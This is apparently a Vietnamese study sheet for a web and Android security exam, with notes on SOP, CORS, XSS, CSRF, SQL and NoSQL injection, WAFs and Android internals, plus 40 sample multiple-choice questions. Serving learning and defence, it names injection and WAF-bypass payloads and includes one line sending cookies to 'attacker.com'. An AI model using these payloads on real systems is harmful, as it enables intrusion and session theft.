# BMW và ứng dụng
Lưu ý: Môn BMW và ứng dụng được đem ***1 tờ A4 viết tay***
Thời gian thi: 90 phút
# 1. Cơ chế bảo mật trình duyệt (SOP & CORS)
## Q: Tại sao thẻ ```<script>, <img>``` được tải cross-origin nhưng không được đọc nội dung?
**Lý do:** Để đảm bảo tính tương thích và vận hành của web (Web Compatibility). Web cần tải hình ảnh, thư viện JS (CDN) từ nguồn khác để hoạt động.
**Vấn đề bảo mật:** Nếu cho phép đọc nội dung (read access), kẻ tấn công có thể nhúng một trang web ngân hàng vào thẻ ```<iframe>``` hoặc tải ảnh chứa dữ liệu nhạy cảm và dùng JS để đọc số dư tài khoản hoặc CSRF token. SOP chặn việc đọc (read) nhưng cho phép nhúng (embed) hoặc gửi (write - form submit).
## Q: document.domain bypass SOP như thế nào? Điều kiện là gì?
* Cơ chế: Cho phép hai subdomain khác nhau (ví dụ: a.site.com và b.site.com) giao tiếp bằng cách cả hai cùng đặt document.domain = "site.com".
* Điều kiện: Cả hai trang đều phải thực hiện việc đặt domain này. Tuy nhiên, tính năng này đã bị deprecated (lỗi thời) trên các trình duyệt hiện đại vì nó làm yếu mô hình bảo mật.
## Q: CORS dùng bypass SOP có an toàn không? Bypass SOP để exploit XSS?
* CORS: Không phải là bypass lỗ hổng, mà là một cơ chế nới lỏng có kiểm soát. Nó chỉ không an toàn khi cấu hình sai (ví dụ: Access-Control-Allow-Origin: * đi kèm với Allow-Credentials: true).
* SOP & XSS: SOP không chặn XSS. XSS là chạy mã độc ngay tại domain của nạn nhân (same origin), nên SOP coi script đó là hợp lệ. SOP chặn Site A đọc dữ liệu Site B, nhưng XSS làm cho Site A chạy code bên trong Site B.
# 2. Client-Side Attacks (XSS & CSRF)
## Q: Phân biệt XSS và CSRF?
* XSS (Cross-Site Scripting): Kẻ tấn công chạy được script trên trình duyệt nạn nhân. Hậu quả: Đánh cắp cookie, giả mạo giao diện, thực hiện mọi hành động của user.
* CSRF (Cross-Site Request Forgery): Kẻ tấn công lừa trình duyệt nạn nhân gửi một request (đổi mật khẩu, chuyển tiền) mà nạn nhân không biết. Kẻ tấn công không đọc được phản hồi, chỉ gửi lệnh đi.
## Q: Tại sao CSRF Token vô hiệu khi bị XSS? Token nên lưu ở đâu?
* Lý do: Nếu bị XSS, kẻ tấn công có thể dùng JavaScript để đọc nội dung trang web (DOM), từ đó lấy được CSRF Token và gắn vào request giả mạo.
* Lưu trữ:
* Cookie: Dễ bị CSRF nếu không có cờ SameSite.
* LocalStorage: Chống được CSRF (vì trình duyệt không tự động gửi localStorage), nhưng cực kỳ dễ bị XSS lấy mất.
* Tốt nhất: Kết hợp Cookie (HttpOnly, Secure, SameSite=Strict) + CSRF Token (trong Header hoặc Hidden Input) + Content Security Policy (CSP) để hạn chế XSS.
## Q: CSRF với JSON/API và CORS?
* JSON/API: Nếu API dùng JSON (Content-Type: application/json), CSRF qua HTML Form truyền thống khó thực hiện hơn (vì form gửi application/x-www-form-urlencoded). Tuy nhiên, nếu server lỏng lẻo (chấp nhận cả text/plain) hoặc có flash/CORS misconfiguration, vẫn dính.
* CORS: Nếu cấu hình CORS chặn origin lạ, trình duyệt sẽ chặn request AJAX (Preflight check). Nhưng CSRF truyền thống (form, img) không dùng AJAX nên CORS không chặn được request gửi đi, chỉ chặn đọc về.
# 3. Database Security & Architecture (SQLi, NoSQLi, CAP)
## Q: SQL Injection (SQLi) - Fuzzing & Blackbox?
* Blackbox Detection: Nhập các ký tự đặc biệt (', ", \, ;, --) vào input và quan sát:
* Lỗi 500 hoặc thông báo lỗi SQL (Error-based).
* Thời gian phản hồi lâu bất thường khi dùng SLEEP() (Time-based).
* Nội dung trang thay đổi khi điều kiện đúng/sai (Boolean-based).
* UNION-Based Fuzzing:
1. Dùng ORDER BY n (tăng n dần) để tìm số lượng cột.
2. Dùng UNION SELECT 1,2,3... để xem cột nào hiển thị ra màn hình (để dump dữ liệu tại đó).
* Second-order SQLi: Payload được lưu vào Database (bước 1 - có vẻ an toàn). Sau đó, payload này được lấy ra và sử dụng trong một câu query khác (bước 2) mà không được sanitize, lúc này mới kích hoạt tấn công.
## Q: NoSQL Injection khác gì SQLi?
* Khác biệt: Không dùng cú pháp SQL (SELECT, UNION). Thay vào đó, tấn công vào cấu trúc dữ liệu (JSON, BSON).
* Ví dụ: Thay vì nhập user, kẻ tấn công nhập {"$ne": null} (MongoDB) để bypass login (nghĩa là: tìm user không phải là null -> luôn đúng).
* Rest API & NoSQL: Cần Validate kỹ Schema của dữ liệu đầu vào (ép kiểu dữ liệu, không cho phép input là object JSON tùy ý).
## Q: Định lý CAP (Consistency, Availability, Partition Tolerance)?
* Thực tế: Trong hệ thống phân tán (Distributed), P (Partition Tolerance - chịu được mất kết nối mạng) là bắt buộc. Do đó, ta chỉ được chọn C (Tính nhất quán) hoặc A (Tính sẵn sàng).
* Ngân hàng: Thường chọn CP (Ưu tiên nhất quán - sai lệch số dư là thảm họa). Khi mất kết nối (P), hệ thống sẽ ngừng phục vụ (hy sinh A) để đảm bảo dữ liệu đúng.
* Giảm thiểu: Sử dụng mô hình Eventual Consistency (Nhất quán cuối cùng) cho các tác vụ ít quan trọng hơn, hoặc dùng các thuật toán đồng thuận (Raft, Paxos) để cân bằng tốt nhất có thể.
* Blockchain: Xuất hiện trong slide Database vì nó là một dạng "Distributed Ledger" (Sổ cái phân tán), đảm bảo tính toàn vẹn (Integrity) cực cao nhưng hy sinh hiệu suất và Scalability.
# 4. Phòng thủ & WAF (Web Application Firewall)
## Q: Nhận biết WAF và Bypass?
* Nhận biết: Dùng tool wafw00f, xem response header (Server: Cloudflare), cookie lạ, hoặc mã lỗi (403 Forbidden, 406 Not Acceptable).
* Phân biệt Lỗi App vs WAF: WAF thường chặn ngay lập tức (dựa trên signature request), response code thường chuẩn (403). Lỗi App thường là 500 (Internal Server Error) do code bị crash khi xử lý input.
* Bypass:
* Encoding: URL Encode, Double URL Encode, Unicode (để WAF không nhận ra từ khóa nhưng Backend vẫn hiểu - lưu ý: điều này xảy ra do sự không đồng nhất trong cách decode giữa WAF và Backend).
* SQL Syntax: Dùng /**/ thay dấu cách, dùng HEx() thay string.
* Tại sao cần WAF? Vì sửa code (vá lỗ hổng) tốn thời gian và cần quy trình. WAF là lớp khiên tạm thời ("Virtual Patching") chặn tấn công ngay lập tức.
## Q: Logging & OWASP Risk?
* Logging: Không log password, token, thẻ tín dụng. Nên log: Ai (User ID), Làm gì (Action), Ở đâu (IP/Endpoint), Khi nào, Kết quả (Success/Fail). Log quá nhiều gây nhiễu -> Dùng SIEM để lọc alert.
* Chấp nhận rủi ro (Acceptable Risk): Dựa trên "Business Impact". Ví dụ: Lỗ hổng XSS trên trang Admin nội bộ (ít người dùng, mạng đóng) có thể được xếp độ ưu tiên thấp hơn XSS trên trang chủ public.
# 5. Android Security
## Q: DVM, Decompile và Root?
* Decompile: Code Java/Kotlin trên Android biên dịch ra Bytecode (DEX). Có thể dịch ngược (Decompile) về mã nguồn gần giống ban đầu (bằng JADX). Khắc phục: Dùng Obfuscation (R8/ProGuard) để làm rối code, đổi tên biến/hàm.
* Root: Là chiếm quyền người dùng có UID=0 (Superuser).
* Shared UID: Hai ứng dụng cùng UID có thể truy cập data của nhau. Điều kiện: Phải được ký (sign) bởi cùng một Private Key của Developer.
## Q: Bootloader & Binder?
* Bootloader: Mắt xích đầu tiên khi khởi động. Nếu bị tấn công (unlock/custom ROM), "Chain of Trust" bị phá vỡ -> Verified Boot sẽ cảnh báo hoặc từ chối boot.
* Binder IPC: Cơ chế truyền tin giữa các Process. Nó kiểm tra quyền dựa trên UID/GID của tiến trình gọi.
* Tấn công Binder: Kẻ tấn công có thể gửi dữ liệu sai định dạng (fuzzing) vào các hàm (Transaction) của System Service để gây crash hoặc leo thang đặc quyền (nếu Service xử lý input kém).
## 6. Các câu hỏi tổng quát khác
* POST vs GET: POST không bảo mật hơn GET về mặt dữ liệu (cả 2 đều là text clear nếu dùng HTTP thường). POST chỉ giúp dữ liệu không hiện trên thanh địa chỉ (tránh bị lưu vào History trình duyệt). HTTPS là bắt buộc để bảo vệ cả hai.
* Server-side Validation: Bắt buộc vì Client-side (JS) có thể bị user tắt hoặc dùng Burp Suite để chặn và sửa request trước khi gửi lên server.
* MVC:
* View: HTML/CSS/JS (Giao diện).
* Controller: PHP (Nhận request login, gọi Model kiểm tra).
* Model: PHP + SQL (Kết nối DB, query user/pass).
# 5. Câu hỏi mẫu
## Phần 1: Web Security Fundamentals (SOP, CORS, Cookies)
**Câu 1:** Một nhà phát triển cấu hình CORS trên máy chủ với header Access-Control-Allow-Origin: * và Access-Control-Allow-Credentials: true. Tại sao trình duyệt lại chặn các request từ client trong trường hợp này?
A. Vì trình duyệt không hỗ trợ wildcard * cho mọi trường hợp.
B. Vì chuẩn CORS quy định nếu dùng wildcard * ở Origin thì không được phép gửi kèm Credentials (cookie/auth header).
C. Vì thiếu header Access-Control-Allow-Methods.
D. Vì client chưa thực hiện Preflight Request.

**Câu 2:** Thuộc tính nào của Cookie được thiết kế cụ thể để ngăn chặn tấn công CSRF bằng cách kiểm soát việc gửi cookie trong các request cross-site?
A. Secure
B. HttpOnly
C. SameSite (với giá trị Strict hoặc Lax)
D. Domain

**Câu 3:** Trong ngữ cảnh của Same-Origin Policy (SOP), hai URL nào sau đây được coi là cùng nguồn (Same Origin) với ```https://example.com:443/app/?```
A. ```http://example.com/app/login (Khác giao thức)```
B. ```https://api.example.com/app/ (Khác subdomain)```
C. ```https://example.com/admin```
D. ```https://example.com:8080/app/ (Khác port)```

**Câu 4:** Content Security Policy (CSP) giúp giảm thiểu rủi ro của XSS chủ yếu bằng cách nào?
A. Mã hóa toàn bộ dữ liệu đầu ra của server.
B. Quy định whitelist các nguồn tài nguyên (script, style, img) được phép tải và thực thi trên trình duyệt.
C. Tự động thêm CSRF Token vào mọi form.
D. Chặn các request POST từ domain lạ.

**Câu 5:** Tại sao tấn công CSRF thường không hiệu quả đối với các API endpoint sử dụng JSON (Content-Type: application/json) thay vì HTML Form truyền thống, giả sử không có lỗi cấu hình CORS?
A. Vì JSON không thể chứa payload độc hại.
B. Vì trình duyệt không tự động gửi Cookie khi request là JSON.
C. Vì để gửi JSON cross-origin, trình duyệt bắt buộc phải thực hiện Preflight Request (OPTIONS), và nếu server không cho phép CORS, request chính sẽ bị chặn.
D. Vì HTML Form chỉ hỗ trợ phương thức GET, không hỗ trợ POST JSON.

## Phần 2: Injection Attacks (SQLi, NoSQLi) & Database
**Câu 6:** Khi thực hiện Blind SQL Injection, hàm nào sau đây thường được sử dụng để kiểm tra lỗi dựa trên thời gian (Time-based) trên cơ sở dữ liệu MySQL?
A. WAITFOR DELAY '0:0:5'
B. pg_sleep(5)
C. SLEEP(5) hoặc BENCHMARK()
D. dbms_lock.sleep(5)

**Câu 7:** Trong kỹ thuật tấn công NoSQL Injection nhắm vào MongoDB, payload nào sau đây thường được dùng để bypass cơ chế đăng nhập bằng cách làm cho điều kiện so sánh luôn đúng?
A. ' OR 1=1 --
B. {"$ne": null} hoặc {"$gt": ""}
C. UNION SELECT 1,2
D. ``

**Câu 8:** Định lý CAP khẳng định rằng trong một hệ thống phân tán, khi xảy ra sự cố phân mảnh mạng (Partition), hệ thống ngân hàng thường chấp nhận hy sinh yếu tố nào để đảm bảo tính đúng đắn của số dư tài khoản?
A. Consistency (Tính nhất quán)
B. Availability (Tính sẵn sàng)
C. Partition Tolerance (Khả năng chịu lỗi phân mảnh)
D. Durability (Tính bền vững)

**Câu 9:** Kỹ thuật Second-Order SQL Injection khác với SQL Injection thông thường ở điểm nào?
A. Payload tấn công được lưu vào cơ sở dữ liệu ở bước 1, và chỉ kích hoạt khi dữ liệu đó được truy xuất và sử dụng không an toàn ở bước 2.
B. Kẻ tấn công sử dụng hai câu lệnh SELECT lồng nhau.
C. Tấn công xảy ra trực tiếp trên URL mà không cần đăng nhập.
D. Sử dụng kênh OOB (Out-of-Band) để lấy dữ liệu.

**Câu 10:** Khi sử dụng UNION SELECT để khai thác SQL Injection, điều kiện tiên quyết bắt buộc phải thoả mãn để câu lệnh không bị lỗi là gì?
A. Bảng được inject phải có tên là users.
B. Số lượng cột trong câu lệnh SELECT được inject phải bằng với số lượng cột của câu lệnh SELECT gốc.
C. Mật khẩu database phải để trống.
D. Phải sử dụng phương thức POST thay vì GET.

## Phần 3: Client-Side Attacks (XSS, DOM)
**Câu 11:** Trong mô hình DOM-based XSS, "Sink" được định nghĩa là gì?
A. Nguồn dữ liệu đầu vào không an toàn (ví dụ: location.hash).
B. Hàm hoặc thuộc tính thực thi JavaScript hoặc render HTML (ví dụ: innerHTML, eval()) nơi dữ liệu độc hại được đưa vào.
C. Server nhận request chứa mã độc.
D. Bộ lọc WAF chặn XSS.

**Câu 12:** Kẻ tấn công lợi dụng tính năng ```target="_blank"``` trên thẻ ```<a>``` để chuyển hướng trang gốc sang một trang giả mạo (Phishing) khi người dùng nhấp vào link. Đây là loại lỗ hổng nào?
A. Tabnabbing (Reverse Tabnabbing)
B. Clickjacking
C. Reflected XSS
D. IDOR

**Câu 13:** Tại sao việc sử dụng hàm dangerouslySetInnerHTML trong ReactJS lại bị coi là rủi ro bảo mật?
A. Vì nó làm giảm hiệu năng render của ứng dụng.
B. Vì nó cho phép chèn trực tiếp mã HTML/JS thô vào DOM, bỏ qua cơ chế escaping mặc định của React, dẫn đến nguy cơ XSS.
C. Vì nó làm lộ state của component.
D. Vì nó không hỗ trợ CSS.

**Câu 14:** Khi trình duyệt gửi một request đến ```img src="http://attacker.com/log?cookie=..."```, tại sao Same-Origin Policy (SOP) không ngăn chặn hành động này?
A. SOP chỉ chặn việc đọc phản hồi (read access), nhưng cho phép gửi request và nhúng tài nguyên (embed/write access).
B. Thẻ <img> là thẻ HTML5 mới nên không bị SOP quản lý.
C. Hacker đã tắt SOP trên trình duyệt nạn nhân.
D. Vì request này dùng giao thức HTTP thay vì HTTPS.

**Câu 15:** Một WAF chặn từ khóa ```<script>```. Kỹ thuật nào sau đây không phải là cách bypass thông thường?
A. Sử dụng thẻ khác như ```<img onerror=...>``` hoặc ```<svg onload=...>```.
B. Thay đổi case (chữ hoa/thường) ví dụ ```<ScRiPt>```.
C. Sử dụng document.domain để tắt WAF.
D. Sử dụng Null byte hoặc encoding ```(%3Cscript%3E)```.

## Phần 4: Android Security & Architecture
**Câu 16:** Quy trình Zygote trong Android có vai trò gì đặc biệt trong việc khởi chạy ứng dụng?
A. Quản lý việc cài đặt file APK.
B. Là tiến trình gốc chứa sẵn các tài nguyên hệ thống và DVM/ART đã khởi tạo; các ứng dụng mới sẽ được "fork" từ Zygote để tăng tốc độ khởi động.
C. Quản lý quyền Root của thiết bị.
D. Kiểm tra chữ ký số của ứng dụng.

**Câu 17:** Tập tin classes.dex trong gói APK chứa thông tin gì?
A. Mã nguồn Java/Kotlin gốc của ứng dụng.
B. Tài nguyên hình ảnh, âm thanh.
C. Mã Bytecode đã được biên dịch để chạy trên máy ảo Dalvik/ART.
D. Cấu hình quyền hạn (Permissions) của ứng dụng.

**Câu 18:** Khi dịch ngược (Reverse Engineering) một ứng dụng Android, công cụ JADX chủ yếu được sử dụng để làm gì?
A. Chuyển đổi mã Smali/DEX ngược trở lại thành mã nguồn Java (gần đúng) để con người có thể đọc hiểu.
B. Debug ứng dụng đang chạy thời gian thực.
C. Chỉnh sửa và đóng gói lại (Re-pack) file APK.
D. Bẻ khóa SSL Pinning.

**Câu 19:** Lỗ hổng Android Exported Activity xảy ra khi nào?
A. Khi ứng dụng lưu dữ liệu nhạy cảm vào SharedPreferences.
B. Khi một Activity được cấu hình android:exported="true" (hoặc có Intent Filter) mà không có permission bảo vệ, cho phép ứng dụng độc hại khác gọi trực tiếp Activity đó.
C. Khi ứng dụng yêu cầu quá nhiều quyền hạn không cần thiết.
D. Khi ứng dụng sử dụng HTTP thay vì HTTPS.

**Câu 20:** Để phòng chống việc ứng dụng bị chạy trên thiết bị đã bị Root, giải pháp nào sau đây thường được sử dụng (dù có thể bị bypass)?
A. Kiểm tra sự tồn tại của file nhị phân su hoặc các package quản lý root (ví dụ: Magisk).
B. Kiểm tra xem pin điện thoại có bị chai không.
C. Kiểm tra xem màn hình có đang bật không.
D. Yêu cầu người dùng nhập CAPTCHA mỗi lần mở app.

## Phần 5: WAF & Network Security
**Câu 21:** Kỹ thuật HTTP Parameter Pollution (HPP) có thể giúp bypass WAF trong trường hợp nào?
A. Khi WAF chỉ kiểm tra tham số đầu tiên, nhưng Backend lại xử lý tham số cuối cùng (hoặc gộp chúng lại) khi có nhiều tham số trùng tên.
B. Khi WAF không hỗ trợ giao thức HTTPS.
C. Khi tấn công DoS làm tràn bộ nhớ WAF.
D. Khi kẻ tấn công đổi địa chỉ IP liên tục.

**Câu 22:** Dựa vào dấu hiệu nào để nhận biết một trang web đang được bảo vệ bởi Cloudflare WAF?
A. Response Header có chứa Server: cloudflare và cookie __cfduid (hoặc biến thể tương tự).
B. Trang web load rất chậm.
C. Trang web chỉ cho phép truy cập từ IP Việt Nam.
D. Response code luôn là 200 OK.

**Câu 23:** Mã lỗi HTTP nào sau đây thường là dấu hiệu rõ nhất cho thấy WAF đã chặn request của bạn (thay vì lỗi logic ứng dụng)?
A. 500 Internal Server Error
B. 404 Not Found
C. 403 Forbidden hoặc 406 Not Acceptable
D. 200 OK

**Câu 24:** Một ứng dụng web sử dụng cơ chế Double URL Encoding (ví dụ: %253C thay vì %3C) để bypass WAF. Tại sao kỹ thuật này hoạt động?
A. WAF giải mã 1 lần thấy an toàn, nhưng Backend giải mã lần 2 mới ra ký tự độc hại.
B. WAF không thể đọc được ký tự %.
C. Backend server bỏ qua việc kiểm tra input.
D. Đây là lỗi của giao thức TCP/IP.

**Câu 25:** Phương pháp Virtual Patching bằng WAF có ý nghĩa gì trong quy trình xử lý lỗ hổng?
A. Là việc vá lỗ hổng trực tiếp trên mã nguồn ứng dụng ngay lập tức.
B. Là việc tạo ra các rule trên WAF để chặn các request khai thác lỗ hổng đã biết, giúp bảo vệ hệ thống tạm thời trong khi chờ đội Dev sửa code.
C. Là việc cài đặt một máy chủ ảo để lừa hacker.
D. Là việc tắt server để bảo trì.

## Phần 6: Broken Access Control & Authentication
**Câu 26:** Insecure Direct Object References (IDOR) xảy ra khi:
A. Người dùng nhập sai mật khẩu quá 5 lần.
B. Ứng dụng cho phép truy cập trực tiếp vào tài nguyên (file, record database) dựa trên input của người dùng (như ID) mà không kiểm tra quyền sở hữu của người dùng đó với tài nguyên.
C. Hacker đoán được tên file admin.php.
D. Dữ liệu session bị lộ qua URL.

**Câu 27:** Trong tấn công Privilege Escalation (Leo thang đặc quyền), dạng Vertical Escalation (Leo thang dọc) là gì?
A. Người dùng A truy cập được dữ liệu của người dùng B (cùng cấp độ).
B. Người dùng thường (User) tìm cách chiếm được quyền hạn của Quản trị viên (Admin).
C. Hacker tấn công từ server web sang server database.
D. Tấn công từ máy con lên máy chủ domain controller.

**Câu 28:** Tại sao việc sử dụng JWT (JSON Web Token) với thuật toán ký None (alg: none) lại là một lỗ hổng nghiêm trọng?
A. Nó làm token quá dài, gây tốn băng thông.
B. Nó cho phép bất kỳ ai cũng có thể giả mạo nội dung token (ví dụ: sửa role: user thành role: admin) mà không cần biết secret key, và server vẫn chấp nhận token đó.
C. Nó khiến token hết hạn ngay lập tức.
D. Nó làm lộ secret key ra ngoài client.

**Câu 29:** Mass Assignment (Gán giá trị hàng loạt) là lỗ hổng thường gặp trong các framework hiện đại khi:
A. Ứng dụng tự động binding (ánh xạ) tất cả dữ liệu input từ request vào object model mà không lọc bỏ các trường nhạy cảm (như isAdmin, balance).
B. Hacker gửi hàng loạt request cùng lúc (DDoS).
C. Ứng dụng gán cùng một mật khẩu cho mọi user.
D. Database bị đầy bộ nhớ.

**Câu 30:** Session Fixation là kỹ thuật tấn công mà hacker làm gì?
A. Đánh cắp session cookie của nạn nhân sau khi họ đăng nhập.
B. Thiết lập (gán) một Session ID cụ thể cho nạn nhân trước khi họ đăng nhập, và Session ID này vẫn có hiệu lực sau khi nạn nhân đăng nhập thành công.
C. Sửa đổi thời gian hết hạn của Session.
D. Xóa session của nạn nhân để gây từ chối dịch vụ.

## Phần 7: Advanced & Miscellaneous
**Câu 31:** Lỗ hổng SSRF (Server-Side Request Forgery) cho phép kẻ tấn công làm gì?
A. Chạy mã Javascript trên trình duyệt nạn nhân.
B. Ép buộc máy chủ ứng dụng gửi request đến các hệ thống nội bộ (Internal Network) hoặc các dịch vụ bên ngoài mà hacker không thể truy cập trực tiếp.
C. Thay đổi giao diện trang web.
D. Tấn công từ chối dịch vụ vào máy client.

**Câu 32:** Trong Android, cơ chế nào cho phép hai ứng dụng khác nhau chia sẻ dữ liệu hoặc chạy trong cùng một tiến trình (Process)?
A. Shared Preferences
B. Shared User ID (cần cùng chữ ký số)
C. External Storage
D. Bluetooth Sharing

**Câu 33:** Để ngăn chặn SQL Injection triệt để nhất, biện pháp nào được khuyến nghị hàng đầu?
A. Sử dụng WAF.
B. Sử dụng Prepared Statements (Parameterized Queries).
C. Sanitize (lọc) các ký tự đặc biệt bằng regex.
D. Chỉ sử dụng NoSQL.

**Câu 34:** Một trang web ngân hàng yêu cầu nhập OTP khi chuyển tiền. Kẻ tấn công lừa nạn nhân cài một app Android độc hại có quyền READ_SMS. Đây là hình thức tấn công vào yếu tố nào?
A. Bypass 2FA (Two-Factor Authentication).
B. SQL Injection.
C. Broken Access Control.
D. Insecure Deserialization.

**Câu 35:** Race Condition (Điều kiện tranh đua) trong ứng dụng web (ví dụ: dùng coupon giảm giá nhiều lần) xảy ra do:
A. Mạng internet quá chậm.
B. Server xử lý các request đồng thời (concurrent) không đúng trình tự hoặc thiếu cơ chế khóa (locking), dẫn đến việc kiểm tra điều kiện và thực hiện hành động bị chồng chéo.
C. Hacker chỉnh sửa đồng hồ hệ thống.
D. Database không hỗ trợ Transaction.

**Câu 36:** Để giảm thiểu rủi ro bị dịch ngược code (Reverse Engineering) trên Android, lập trình viên thường sử dụng công cụ nào khi build ứng dụng (ví dụ: R8/ProGuard)?
A. Code Obfuscation (Làm rối mã nguồn).
B. Code Signing.
C. Linting.
D. Unit Testing.

**Câu 37:** Trong bảo mật API, cơ chế Rate Limiting giúp ngăn chặn loại tấn công nào hiệu quả nhất?
A. SQL Injection.
B. Brute-force attacks và DoS (Denial of Service).
C. XSS.
D. Man-in-the-Middle.

**Câu 38:** Tấn công Directory Traversal (hay Path Traversal) thường sử dụng chuỗi ký tự nào để di chuyển lên thư mục cha?
A. .../
B. ../
C. //
D. \root\

**Câu 39:** Tại sao Input Validation (Kiểm tra đầu vào) nên thực hiện ở cả Client-side và Server-side?
A. Client-side giúp trải nghiệm người dùng tốt hơn (phản hồi nhanh), còn Server-side là chốt chặn bảo mật cuối cùng vì Client-side có thể bị bypass dễ dàng.
B. Chỉ cần Client-side là đủ để giảm tải cho server.
C. Server-side validation chỉ dùng để log lỗi.
D. Để đảm bảo tính tương thích với mọi trình duyệt.

**Câu 40:** Clickjacking thường được thực hiện bằng cách nhúng trang web mục tiêu vào đâu để đánh lừa người dùng click?
A. Vào thẻ ```<script>```.
B. Vào thẻ ```<iframe>``` với thuộc tính trong suốt (opacity = 0).
C. Vào thẻ ```<img>```.
D. Vào URL parameter.